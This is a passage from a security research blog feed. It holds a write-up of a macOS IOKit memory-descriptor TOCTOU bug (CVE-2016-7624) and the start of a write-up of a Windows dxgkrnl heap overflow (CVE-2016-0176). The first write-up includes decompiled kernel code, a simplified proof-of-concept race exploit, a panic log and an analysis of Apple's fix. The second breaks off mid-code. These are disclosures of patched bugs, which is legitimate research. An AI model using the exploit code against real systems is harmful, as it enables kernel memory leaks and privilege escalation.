seems scala-input and struct-input with size &lt; 4096 are copied and bundled inband of the mach-msg, then passed into kernel space. No way.</p><p>However, Struct-input with size &gt; 4096 remains mach_vm_address and is untouched.</p><p>Now lets dive into kernel space</p><pre><code>3701 kern_return_t is_io_connect_method3702 (3703    io_connect_t connection,3704    uint32_t selector,3705    io_scalar_inband64_t scalar_input,3706    mach_msg_type_number_t scalar_inputCnt,3707    io_struct_inband_t inband_input,3708    mach_msg_type_number_t inband_inputCnt,3709    mach_vm_address_t ool_input,3710    mach_vm_size_t ool_input_size,3711    io_struct_inband_t inband_output,3712    mach_msg_type_number_t *inband_outputCnt,3713    io_scalar_inband64_t scalar_output,3714    mach_msg_type_number_t *scalar_outputCnt,3715    mach_vm_address_t ool_output,3716    mach_vm_size_t *ool_output_size3717 )3718 &#123;3719     CHECK( IOUserClient, connection, client );3720 3721     IOExternalMethodArguments args;3722     IOReturn ret;3723     IOMemoryDescriptor * inputMD  = 0;3724     IOMemoryDescriptor * outputMD = 0;3725 //...3736     args.scalarInput = scalar_input;3737     args.scalarInputCount = scalar_inputCnt;3738     args.structureInput = inband_input;3739     args.structureInputSize = inband_inputCnt;3740 3741     if (ool_input)3742    inputMD = IOMemoryDescriptor::withAddressRange(ool_input, ool_input_size,3743                            kIODirectionOut, current_task());3744 3745     args.structureInputDescriptor = inputMD;//...3753     if (ool_output &amp;&amp; ool_output_size)3754     &#123;3755    outputMD = IOMemoryDescriptor::withAddressRange(ool_output, *ool_output_size,3756                            kIODirectionIn, current_task());//...3774     return (ret);3775 &#125;</code></pre><p>Seems Apple and Linus take a different approach here. In Linux kernel, usually incoming userspace content are copied to kernel-allocated memory content using <code>copy_from_user</code>. However here the Apple kernel directly creates a memory descriptor using the userspace address, rather than creating a copy.</p><p>So can we modify this memory content in userspace after it’s passed to kernel via IOKit call?</p><p>Surprisingly, the answer is yes!</p><p>This means, for a IOKit call, if the corresponding IOService accepts input memory descriptor, the userspace program can alter the content while the IOService is processing it, no lock, no write prevention. Juicy place for racing conditions and TOCTOUs(Time to check before time to use) :) After this bug is fixed I talked to security folks at Apple and they said even they didn’t realized the descriptor mapped memory is writable by userspace.</p><p>I quickly identified several potential vulnerable patterns in IOReportUserClient, IOCommandQueue and IOSurface, one of them (CVE-2016-7624) is described below. And there’re far more patterns than that, using your imagination :)</p><h2 id="TOCTOU-in-IOCommandQueue-can-lead-to-information-disclosure-reachable-from-sandbox"><a href="#TOCTOU-in-IOCommandQueue-can-lead-to-information-disclosure-reachable-from-sandbox" class="headerlink" title="TOCTOU in IOCommandQueue can lead to information disclosure reachable from sandbox"></a>TOCTOU in IOCommandQueue can lead to information disclosure reachable from sandbox</h2><p>There exists an TOCTOU in IOCommandQueue::submit_command_buffer. This function accepts either inband struct or structureInputDescriptor. Data controlled by attacker is passed into the function and at certain offset a value is used as length. The length is validated but due to the nature of MemoryDescriptor, client can still change the value when its actually used by modifying the mapped memory, causing TOCTOU that lead to information disclosure or other possible oob write.</p><h3 id="Analysis"><a href="#Analysis" class="headerlink" title="Analysis"></a>Analysis</h3><p>IOAccelCommandQueue::s_submit_command_buffers accept user input IOExternalMethodArguments, and if structureInputDescriptor is passed in from a userspace mapped address, it will use structureInputDescriptor and get a IOMemoryMap then get its address and use it. But nothing prevents userspace from modifying the content represented by the address, lead to TOCTOU.</p><pre><code>__int64 __fastcall IOAccelCommandQueue::s_submit_command_buffers(IOAccelCommandQueue *this, __int64 a2, IOExternalMethodArguments *a3)&#123;  IOExternalMethodArguments *v3; // r12@1  IOAccelCommandQueue *v4; // r15@1  unsigned __int64 inputdatalen; // rsi@1  unsigned int v6; // ebx@1  IOMemoryDescriptor *v7; // rdi@3  __int64 v8; // r14@3  __int64 inputdata; // rcx@5  v3 = a3;  v4 = this;  inputdatalen = (unsigned int)a3-&gt;structureInputSize;  v6 = -536870206;  if ( inputdatalen &gt;= 8    &amp;&amp; inputdatalen - 8 == 3                         * (((unsigned __int64)(0x0AAAAAAAAAAAAAAABLL * (unsigned __int128)(inputdatalen - 8) &gt;&gt; 64) &gt;&gt; 1) &amp; 0x7FFFFFFFFFFFFFF8LL) )  &#123;    v7 = (IOMemoryDescriptor *)a3-&gt;structureInputDescriptor;    v8 = 0LL;    if ( v7 )    &#123;      v8 = (__int64)v7-&gt;vtbl-&gt;__ZN18IOMemoryDescriptor3mapEj(v7, 4096LL);      v6 = -536870200;      if ( !v8 )        return v6;      inputdata = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v8 + 280LL))(v8);      LODWORD(inputdatalen) = v3-&gt;structureInputSize;    &#125;</code></pre><p>We can see that at offset+4, a DWORD is retrived as length and compared with ((unsigned __int64)(0x0AAAAAAAAAAAAAAABLL * (unsigned __int128)(inputdatalen - 8) &gt;&gt; 64) &gt;&gt; 1) &amp; 0x7FFFFFFFFFFFFFF8LL)</p><p>And then this <code>length</code> offset is used again in submit_command_buffer. See the following code:</p><pre><code>  if ( *((_QWORD *)this + 160) )  &#123;    v5 = (IOAccelShared2 *)*((_QWORD *)this + 165);    if ( v5 )    &#123;      IOAccelShared2::processResourceDirtyCommands(v5);      IOAccelCommandQueue::updatePriority((IOAccelCommandQueue *)v2);      if ( *(_DWORD *)(input + 4) )      &#123;        v6 = (unsigned __int64 *)(input + 24);        v7 = 0LL;        do        &#123;          IOAccelCommandQueue::submitCommandBuffer(            (IOAccelCommandQueue *)v2,            *((_DWORD *)v6 - 4),//v6 based on input            *((_DWORD *)v6 - 3),//based on input            *(v6 - 1),//based on input            *v6);//based on input          ++v7;          v6 += 3;        &#125;        while ( v7 &lt; *(unsigned int *)(input + 4) ); //NOTICE HERE      &#125;</code></pre><p>Notice in line 23 that *(input+4) is accessed again as loop boundary. However if user passes in a descriptor, then he can modify it at userland and bypass the check in <code>s_submit_command_buffers</code>, cause the loop to go out-of-bound.</p><p>In <code>IOAccelCommandQueue::submitCommandBuffer</code>, in the following statement:</p><pre><code>    IOGraphicsAccelerator2::sendBlockFenceNotification(      *((IOGraphicsAccelerator2 **)this + 166),      (unsigned __int64 *)(*((_QWORD *)this + 160) + 16LL),      data_from_input_add_24_minus_8,      0LL,      v13);    result = IOGraphicsAccelerator2::sendBlockFenceNotification(               *((IOGraphicsAccelerator2 **)this + 166),               (unsigned __int64 *)(*((_QWORD *)this + 160) + 16LL),               data_from_input_add_24,               0LL,               v13);</code></pre><p>The memory content is sent back to user space if a notification callback is installed. So if an attacker can carefully control some sensitive memory to place after the mapped descriptor memory, the OOB can get this content back to userspace, lead to infoleak.</p><p>The exploit steps are</p><ul><li>Userspace program mmaps memory page, pass it as iokit call argument structureInputDescriptor</li><li>s_submit_command_buffer validates at +4 the content is legal compared to the total incoming structureInput length</li><li>submit_command_buffer iterates the passed in descriptor memory from userspace, using the +4 as boundary length indicator. Memory content readed is calculated in submitCommandBuffer and send back to userspace via installed asyncNotificationPort.</li><li>Userspace program races to modify this +4 offset value, causing the loop to go out-of-bound, leaking adjacent memory in Kernel address space.</li></ul><p>Notice that the inputdatelen is first retrieved from structureInputSize, so we cannot directly use the IOConnectCallMethod API. Because in this API, structureInput and structureInputDescriptor cannot be passed at same time.</p><p>Instead we directly call _io_connect_method private function in IOKit framework, which accepts structureInput and structureInputDescriptor at same time.</p><h3 id="POC-code"><a href="#POC-code" class="headerlink" title="POC code"></a>POC code</h3><p>POC code for these three vulns can all be found at <a href="https://github.com/flankerhqd/descriptor-describes-racing">https://github.com/flankerhqd/descriptor-describes-racing</a>. Here is one simplified version:</p><pre><code>volatile unsigned int secs = 10;void modifystrcut()&#123;    *((unsigned int*)(input+4)) = 0x7fffffff;    printf(&quot;secs %x\n&quot;, secs);&#125;    //...int main(int argc, const char * argv[]) &#123;    io_iterator_t iterator;    //...    getFunc();    io_connect_t conn;    io_service_t svc;    //...    IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching(&quot;IntelAccelerator&quot;), &amp;iterator);    svc = IOIteratorNext(iterator);    printf(&quot;%x %x\n&quot;, IOServiceOpen(svc, mach_task_self(), 9, &amp;conn), conn);    //...    io_connect_t sharedconn;    IOServiceOpen(svc, mach_task_self(), 6, &amp;sharedconn);    IOConnectAddClient(conn, sharedconn);    //then set async ref    ref = IONotificationPortCreate(kIOMasterPortDefault);    port = IONotificationPortGetMachPort(ref);    pthread_t rt;    pthread_create(&amp;rt, NULL, gaorunloop, NULL);        io_async_ref64_t asyncRef;    asyncRef[kIOAsyncCalloutFuncIndex] = callback;    asyncRef[kIOAsyncCalloutRefconIndex] = NULL;    //...    const uint32_t outputcnt = 0;    const size_t outputcnt64 = 0;    IOConnectCallAsyncScalarMethod(conn, 0, port, asyncRef, 3, NULL, 0, NULL, &amp;outputcnt);    //...    size_t i=0;    input = dommap();    &#123;        char* structinput = input;    *((unsigned int*)(structinput+4)) = 0xaa;//the size is then used in for loop, possible to change it in descriptor?    size_t outcnt = 0;    &#125;        //...    const size_t bufsize = 4088;    char buf[bufsize];    memset(buf, &#39;a&#39;, sizeof(buf)*bufsize);    size_t outcnt =0;    *((unsigned int*)(buf+4)) = 0xaa;        //...    &#123;        pthread_t t;        pthread_create(&amp;t, NULL, modifystrcut, NULL);    //...    io_connect_method(                      conn,                      1,                      NULL,//input                      0,//inputCnt                      buf,//inb_input                      bufsize,//inb_input_size                      reinterpret_cast_mach_vm_address_t(input),//ool_input                      ool_size,//ool_input_size                      buf,//inb_output                      (mach_msg_type_number_t*)&amp;outputcnt, //inb_output_size*                      (uint64_t*)buf,//output                      &amp;outputcnt, //outputCnt                      reinterpret_cast_mach_vm_address_t(buf), //ool_output                      (mach_msg_type_number_t*)&amp;outputcnt64//ool_output_size*                      );    &#125;</code></pre><p>Two key constans are 4088 and 0xaa, this two numbers will comfort the check at</p><pre><code> inputdatalen - 8 == 3                         * (((unsigned __int64)(0x0AAAAAAAAAAAAAAABLL * (unsigned __int128)(inputdatalen - 8) &gt;&gt; 64) &gt;&gt; 1) &amp; 0x7FFFFFFFFFFFFFF8LL) )</code></pre><p>and</p><pre><code>   if ( *(_DWORD *)(inputdata + 4) == (unsigned int)((unsigned __int64)(0x0AAAAAAAAAAAAAAABLL                                                                       * (unsigned __int128)((unsigned __int64)(unsigned int)inputdatalen                                                                                           - 8) &gt;&gt; 64) &gt;&gt; 4) )</code></pre><h3 id="Panic-Report"><a href="#Panic-Report" class="headerlink" title="Panic Report"></a>Panic Report</h3><pre><code>panic(cpu 0 caller 0xffffff801dfce5fa): Kernel trap at 0xffffff7fa039d2a4, type 14=page fault, registers:CR0: 0x0000000080010033, CR2: 0xffffff812735f000, CR3: 0x000000000ce100ab, CR4: 0x00000000001627e0RAX: 0x000000007fffffff, RBX: 0xffffff812735f008, RCX: 0x0000000000000000, RDX: 0x0000000000000000RSP: 0xffffff81276d3b60, RBP: 0xffffff81276d3b80, RSI: 0x0000000000000000, RDI: 0xffffff802fcaef80R8:  0x00000000ffffffff, R9:  0x0000000000000002, R10: 0x0000000000000007, R11: 0x0000000000007fffR12: 0xffffff8031862800, R13: 0xaaaaaaaaaaaaaaab, R14: 0xffffff812735e000, R15: 0x00000000000000aaRFL: 0x0000000000010293, RIP: 0xffffff7fa039d2a4, CS:  0x0000000000000008, SS:  0x0000000000000010Fault CR2: 0xffffff812735f000, Error code: 0x0000000000000000, Fault CPU: 0x0, PL: 0Backtrace (CPU 0), Frame : Return Address0xffffff81276d37f0 : 0xffffff801dedab12 mach_kernel : _panic + 0xe20xffffff81276d3870 : 0xffffff801dfce5fa mach_kernel : _kernel_trap + 0x91a0xffffff81276d3a50 : 0xffffff801dfec463 mach_kernel : _return_from_trap + 0xe30xffffff81276d3a70 : 0xffffff7fa039d2a4 com.apple.iokit.IOAcceleratorFamily2 : __ZN19IOAccelCommandQueue22submit_command_buffersEPK29IOAccelCommandQueueSubmitArgs + 0x8e0xffffff81276d3b80 : 0xffffff7fa039c92c com.apple.iokit.IOAcceleratorFamily2 : __ZN19IOAccelCommandQueue24s_submit_command_buffersEPS_PvP25IOExternalMethodArguments + 0xba0xffffff81276d3bc0 : 0xffffff7fa03f6db5 com.apple.driver.AppleIntelHD5000Graphics : __ZN19IGAccelCommandQueue14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv + 0x190xffffff81276d3be0 : 0xffffff801e4dfa07 mach_kernel : _is_io_connect_method + 0x1e70xffffff81276d3d20 : 0xffffff801df97eb0 mach_kernel : _iokit_server + 0x5bd00xffffff81276d3e30 : 0xffffff801dedf283 mach_kernel : _ipc_kobject_server + 0x1030xffffff81276d3e60 : 0xffffff801dec28b8 mach_kernel : _ipc_kmsg_send + 0xb80xffffff81276d3ea0 : 0xffffff801ded2665 mach_kernel : _mach_msg_overwrite_trap + 0xc50xffffff81276d3f10 : 0xffffff801dfb8dca mach_kernel : _mach_call_munger64 + 0x19a0xffffff81276d3fb0 : 0xffffff801dfecc86 mach_kernel : _hndl_mach_scall64 + 0x16      Kernel Extensions in backtrace:         com.apple.iokit.IOAcceleratorFamily2(205.10)[949D9C27-0635-3EE4-B836-373871BC6247]@0xffffff7fa0374000-&gt;0xffffff7fa03dffff            dependency: com.apple.iokit.IOPCIFamily(2.9)[D8216D61-5209-3B0C-866D-7D8B3C5F33FF]@0xffffff7f9e72c000            dependency: com.apple.iokit.IOGraphicsFamily(2.4.1)[172C2960-EDF5-382D-80A5-C13E97D74880]@0xffffff7f9f232000         com.apple.driver.AppleIntelHD5000Graphics(10.1.4)[E5BC31AC-4714-3A57-9CDC-3FF346D811C5]@0xffffff7fa03ee000-&gt;0xffffff7fa047afff            dependency: com.apple.iokit.IOSurface(108.2.1)[B5ADE17A-36A5-3231-B066-7242441F7638]@0xffffff7f9f0fb000            dependency: com.apple.iokit.IOPCIFamily(2.9)[D8216D61-5209-3B0C-866D-7D8B3C5F33FF]@0xffffff7f9e72c000            dependency: com.apple.iokit.IOGraphicsFamily(2.4.1)[172C2960-EDF5-382D-80A5-C13E97D74880]@0xffffff7f9f232000            dependency: com.apple.iokit.IOAcceleratorFamily2(205.10)[949D9C27-0635-3EE4-B836-373871BC6247]@0xffffff7fa0374000BSD process name corresponding to current thread: cmdqueue1Boot args: keepsyms=1 -vMac OS version:15F34Kernel version:Darwin Kernel Version 15.5.0: Tue Apr 19 18:36:36 PDT 2016; root:xnu-3248.50.21~8/RELEASE_X86_64Kernel UUID: 7E7B0822-D2DE-3B39-A7A5-77B40A668BC6Kernel slide:     0x000000001dc00000Kernel text base: 0xffffff801de00000__HIB  text base: 0xffffff801dd00000System model name: MacBookAir6,2 (Mac-7DF21CB3ED6977E5)</code></pre><p>Disassembling the RIP register</p><pre><code>__text:000000000002929E                 mov     esi, [rbx-10h]  ; unsigned int__text:00000000000292A1                 mov     edx, [rbx-0Ch]  ; unsigned int__text:00000000000292A4                 mov     rcx, [rbx-8]    ; unsigned __int64__text:00000000000292A8                 mov     r8, [rbx]       ; unsigned __int64</code></pre><p>We can see at the crash address, rbx has already go out-of-bound, hits an adjacent unmapped area, lead to crash.</p><p>Tested on 10.11.5 Macbook Airs, Macbook Pros with command line</p><pre><code>while true; do ./cmdqueue1 ; done</code></pre><h1 id="Fix-for-these-issues"><a href="#Fix-for-these-issues" class="headerlink" title="Fix for these issues"></a>Fix for these issues</h1><p>The sources for XNU in 10.11.2 haven’t been released, but let’s have a look at disassembled kernel.</p><p>Originally, we have these lines when creating a descriptor:</p><pre><code>3741     if (ool_input)3742    inputMD = IOMemoryDescriptor::withAddressRange(ool_input, ool_input_size,3743                            kIODirectionOut, current_task());</code></pre><p>Proved by dissembling unpatched kernel:</p><pre><code>mov     rax, gs:8mov     rcx, [rax+308h] ; unsigned intmov     edx, 2          ; unsigned __int64mov     rsi, [rbp+arg_8] ; unsigned __int64call    __ZN18IOMemoryDescriptor16withAddressRangeEyyjP4task ; IOMemoryDescriptor::withAddressRange(ulong long,ulong long,uint,task *)mov     r15, rax</code></pre><p>While on the 10.11.2, the corresponding snippet in _is_io_connect_method changed to:</p><pre><code>mov     rax, gs:8mov     rcx, [rax+318h] ; unsigned intmov     edx, 20002h     ; unsigned __int64mov     rsi, [rbp+arg_8] ; unsigned __int64call    __ZN18IOMemoryDescriptor16withAddressRangeEyyjP4task ; IOMemoryDescriptor::withAddressRange(ulong long,ulong long,uint,task *)mov     r15, rax</code></pre><p>A new flag (0x20000) is introduced to IOMemoryDescriptor::withAddressRange. The flag is later checked in IOGeneralMemoryDescriptor::memoryReferenceCreate, as shown in a diaphora diff on IOMemoryDescriptor’s functions.</p><pre><code>  if ( this-&gt;_task &amp;&amp; !err &amp;&amp; this-&gt;baseclass_0._flags &amp; 0x20000 &amp;&amp; !(optionsa &amp; 4) ) //newly added source    err = IOGeneralMemoryDescriptor::memoryReferenceCreate(this, optionsa | 4, &amp;ref-&gt;mapRef);</code></pre><p>And is then checked at the beginning of this function</p><pre><code>  prot = 1;  cacheMode = (this-&gt;baseclass_0._flags &amp; 0x70000000) &gt;&gt; 28;  v4 = vmProtForCacheMode(cacheMode);  prot |= v4;  if ( cacheMode )    prot |= 2u;  if ( 2 != (this-&gt;baseclass_0._flags &amp; 3) )    prot |= 2u;  if ( optionsa &amp; 2 )    prot |= 2u;  if ( optionsa &amp; 4 )    prot |= 0x200000u;</code></pre><p><code>prot</code> is used at in <code>mach_make_memory_entry_64</code>, describing the permission of this mapping. 0x200000 is actually MAP_MEM_VM_COPY</p><pre><code>382 /* leave room for vm_prot bits */383 #define MAP_MEM_ONLY        0x010000 /* change processor caching  */384 #define MAP_MEM_NAMED_CREATE    0x020000 /* create extant object      */385 #define MAP_MEM_PURGABLE    0x040000 /* create a purgable VM object */386 #define MAP_MEM_NAMED_REUSE 0x080000 /* reuse provided entry if identical */387 #define MAP_MEM_USE_DATA_ADDR   0x100000 /* preserve address of data, rather than base of page */388 #define MAP_MEM_VM_COPY     0x200000 /* make a copy of a VM range */389 #define MAP_MEM_VM_SHARE    0x400000 /* extract a VM range for remap */390 #define MAP_MEM_4K_DATA_ADDR    0x800000 /* preserve 4K aligned address of data */391 </code></pre><p>Which means now descriptors passed in via IOKit has a memory entry of possibly COW, preventing userspace from modifying it in 10.12.2 and iOS 10.2. Rather than fixing driver issues one by one, Apple seems to have done a good job by patching the entry. </p><h1 id="Credits"><a href="#Credits" class="headerlink" title="Credits"></a>Credits</h1><p>Credit also goes to Liang Chen of KeenLab for also contributing to this research. Also kudos to Apple security team for responding and fixing these issues.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;This blog post is about a new type of vulnerabilities in IOKit I discovered and submitted to Apple in 2016. I did a brief scan using a IDA script on MacOS and found at least four bugs with 3 CVEs assigned (CVE-2016-7620&amp;#x2F;4&amp;#x2F;5), see &lt;a href=&quot;https://support.apple.com/kb/HT207423&quot;&gt;https://support.apple.com/kb/HT207423&lt;/a&gt;. I was told afterwards that there’re even more issues of this type on iOS’&amp;#x2F;OSX’s IOKit drivers and fortunately Apple fixed them also.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>A Link to System Privilege</title>
    <link href="http://keenlab.tencent.com/en/2016/11/18/A-Link-to-System-Privilege/"/>
    <id>http://keenlab.tencent.com/en/2016/11/18/A-Link-to-System-Privilege/</id>
    <published>2016-11-18T07:29:39.000Z</published>
    <updated>2025-12-08T11:23:10.850Z</updated>
    
    <content type="html"><![CDATA[<h2 id="A-Detailed-Description-of-CVE-2016-0176-and-Its-Exploitation"><a href="#A-Detailed-Description-of-CVE-2016-0176-and-Its-Exploitation" class="headerlink" title="A Detailed Description of CVE-2016-0176 and Its Exploitation"></a>A Detailed Description of CVE-2016-0176 and Its Exploitation</h2><h3 id="Essentials-of-a-Successful-Pwn-of-Microsoft-Edge"><a href="#Essentials-of-a-Successful-Pwn-of-Microsoft-Edge" class="headerlink" title="Essentials of a Successful Pwn of Microsoft Edge"></a>Essentials of a Successful Pwn of Microsoft Edge</h3><p>A successful Pwn of Microsoft Edge consists of two essential parts: Browser RCE(Remote Code Execution) and browser sandbox bypass. Browser RCE is typically achieved by exploiting a Javascript vulnerability, while browser sandbox bypass can be achieved in different ways, logical sandbox escape or EoP(Escalation of Privilege) through kernel vulnerabilities.</p><p>Sandbox of Microsoft Edge is built upon the access check mechanism. In Windows operating system, resources are shared in system-wide range, for example, a file or device can be shared across different processes. Some resources contain sensitive informations, some others are critical to the whole system’s well-functioning, corruptions of those resources will crash the whole system. For those reasons, there should be strict checks when a process want to access a specific resource, this is called access check. When a resource is opened, token of the subject process will be checked against security descriptor of the object resource. Access check consists of several elementary checks in different dimensions, such as ownership and group membership check, privileges check, integrity level and trust level check, capabilities check, etc. The previous generation sandbox is based  on integrity level check, where the sandboxed application runs in low integrity level, thus it can not access resources protected by medium or higher integrity level. Microsoft Edge adopts new generation sandbox based on AppContainer, where additional capabilities check will be conducted when accessing resources, besides basic integrity level check. For more details about access check mechanism, refer to my talk at ZeroNights 2015: <a href="https://github.com/long123king/tokenext/blob/master/doc/Did_You_Get_Your_Token.pdf">Did You Get Your Token?</a></p><span id="more"></span><p>The most common approach of a sandbox bypass is EoP though kernel vulnerabilities, with DKOM(Direct Kernel Object Manipulation) on token objects.</p><h3 id="CVE-2016-0176"><a href="#CVE-2016-0176" class="headerlink" title="CVE-2016-0176"></a>CVE-2016-0176</h3><p>This vulnerability is in dxgkrnl.sys driver, and it is a heap overflow vulnerability. </p><p>The data structure that has been abused is shown as below:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">D3DKMT_PRESENTHISTORYTOKEN</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    D3DKMT_PRESENT_MODEL  Model; <span class="comment">//D3DKMT_PM_REDIRECTED_FLIP      = 2,</span></span><br><span class="line">    UINT                  TokenSize; <span class="comment">// 0x438</span></span><br><span class="line">    UINT64                CompositionBindingId;</span><br><span class="line"></span><br><span class="line">    <span class="class"><span class="keyword">union</span></span></span><br><span class="line"><span class="class">    &#123;</span></span><br><span class="line">        D3DKMT_FLIPMODEL_PRESENTHISTORYTOKEN        Flip;</span><br><span class="line">        D3DKMT_BLTMODEL_PRESENTHISTORYTOKEN         Blt;</span><br><span class="line">        D3DKMT_VISTABLTMODEL_PRESENTHISTORYTOKEN    VistaBlt;</span><br><span class="line">        D3DKMT_GDIMODEL_PRESENTHISTORYTOKEN         Gdi;</span><br><span class="line">        D3DKMT_FENCE_PRESENTHISTORYTOKEN            Fence;</span><br><span class="line">        D3DKMT_GDIMODEL_SYSMEM_PRESENTHISTORYTOKEN  GdiSysMem;</span><br><span class="line">        D3DKMT_COMPOSITION_PRESENTHISTORYTOKEN      Composition;</span><br><span class="line">    &#125;</span><br><span class="line">    Token;</span><br><span class="line">&#125; D3DKMT_PRESENTHISTORYTOKEN;</span><br></pre></td></tr></table></figure><p>I will use “history token” as alias of this structure, there are some prerequisites for this vulnerability in this structure:    </p><ul><li><strong>Model</strong> member should be set to <strong>D3DKMT_PM_REDIRECTED_FLIP</strong>;</li><li><strong>TokenSize</strong> member should be set to <strong>0x438</strong>;</li></ul><p>You may already guessed that the vulnerability is in the <strong>Token.Flip</strong> member, whose type is shown as below:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">D3DKMT_FLIPMODEL_PRESENTHISTORYTOKEN</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    UINT64                                     FenceValue;</span><br><span class="line">    ULONG64                                    hLogicalSurface;</span><br><span class="line">    UINT_PTR                                   dxgContext;</span><br><span class="line">    D3DDDI_VIDEO_PRESENT_SOURCE_ID             VidPnSourceId;</span><br><span class="line"></span><br><span class="line">    ……</span><br><span class="line"> </span><br><span class="line">    D3DKMT_DIRTYREGIONS                        DirtyRegions;</span><br><span class="line">&#125; D3DKMT_FLIPMODEL_PRESENTHISTORYTOKEN;</span><br></pre></td></tr></table></figure><p>Keep diving into the last member <strong>DirtyRegions</strong>:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">tagRECT</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    LONG    left;</span><br><span class="line">    LONG    top;</span><br><span class="line">    LONG    right;</span><br><span class="line">    LONG    bottom;</span><br><span class="line">&#125; RECT, *PRECT, NEAR *NPRECT, FAR *LPRECT; <span class="comment">// 0x10 bytes</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">D3DKMT_DIRTYREGIONS</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    UINT  NumRects;</span><br><span class="line"></span><br><span class="line">    RECT  Rects[D3DKMT_MAX_PRESENT_HISTORY_RECTS]; <span class="comment">// 0x10 * 0x10 = 0x100 bytes</span></span><br><span class="line"></span><br><span class="line">     <span class="comment">//#define D3DKMT_MAX_PRESENT_HISTORY_RECTS 16</span></span><br><span class="line"></span><br><span class="line">&#125; D3DKMT_DIRTYREGIONS;</span><br></pre></td></tr></table></figure><p>Now we reach to the primitive level, there is a DWORD member <strong>NumRects</strong>, and an array of <strong>RECT</strong> structures as <strong>Rects</strong>, this array is fixed-sized to 16 elements, each element is 0x10 bytes, so the size of <strong>Rects</strong> is 0x100 bytes.</p><p><img src="/en/img/A-Link-To-System-Privilege/edge_eop_img_1.svg" alt="Layout of Abused structures"></p><p>This graph above shows the relationship and layout of abused data structures, the left column is the data structure that we prepared in user-mode and passed to kernel-mode drivers by calling Win32 API <strong>D3DKMTPresent</strong>, the middle column is the data structure that dxgkrnl.sys driver received and maintained, it is copied out from the user-mode buffer, the right column is the embedded union member <strong>Token.Flip</strong>, a very important feature of this union member is that it is the largest member in the union, we know that the size of a union is determined by its largest member, so the content of <strong>Token.Flip</strong> stretches to the end of the history token structure. This layout simplifies the exploitation to a large extent.</p><p>With the knowledge of the abused data structures, it will be easy to understand the vulnerability, below is the disassembly code snippet that cause the overflow:</p><pre><code>loc_1C009832A: DXGCONTEXT::SubmitPresentHistoryToken(......) + 0x67B        cmp     dword ptr[r15 + 334h], 10h // NumRects        jbe     short loc_1C009834B; Jump if Below or Equal(CF = 1 | ZF = 1)        call    cs : __imp_WdLogNewEntry5_WdAssertion        mov     rcx, rax        mov     qword ptr[rax + 18h], 38h        call    cs : __imp_WdLogEvent5_WdAssertionloc_1C009834B: DXGCONTEXT::SubmitPresentHistoryToken (......) + 0x6B2        mov     eax, [r15 + 334h]        shl     eax, 4        add     eax, 338h        jmp     short loc_1C00983BDloc_1C00983BD: DXGCONTEXT::SubmitPresentHistoryToken (......) + 0x6A5        lea     r8d, [rax + 7]        mov     rdx, r15; Src        mov     eax, 0FFFFFFF8h;        mov     rcx, rsi; Dst        and     r8, rax; Size        call    memmove</code></pre><p>The r15 register is pointing to the buffer of history token at the entry of this piece of code. It first picks out the DWORD at 0x334 offset and compare it with 0x10, we already know that this DWORD is the <strong>Token.Flip.NumRects</strong> field, so it is checking if this field exceeds the capacity of the embedded array <strong>Token.Flip.Rects</strong>. If you are doing code auditing, and you see this check, you may feel frustrated and soliloquize that Microsoft already realized the potential problem here and done some check. But when you move forward, you will see after this check the code logs this abnormal behavior to the watch dog driver with assertion logic, and either branches initiated from this comparison will flow into the same code block at loc_1C009834B. Then you may think that the watch dog driver will invoke the bug check logic in case of overflow, but nothing happened actually. No matter what the value is in <strong>Token.Flip.NumRects</strong> field, the code flow will reach the block at loc_1C009834B, this block first does some arithmatic calculation based on the <strong>Token.Flip.NumRects</strong> field and then use it as the size of a memcpy operation. </p><p>I rewrite this piece of disassembly code to C++ code as below:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">D3DKMT_PRESENTHISTORYTOKEN* hist_token_src = BufferPassedFromUserMode(…);</span><br><span class="line">D3DKMT_PRESENTHISTORYTOKEN* hist_token_dst = ExpInterlockedPopEntrySList(…);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(hist_token_src-&gt;dirty_regions.NumRects &gt; <span class="number">0x10</span>)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="comment">// log via watch dog assertion, NOT work in free/release build</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span 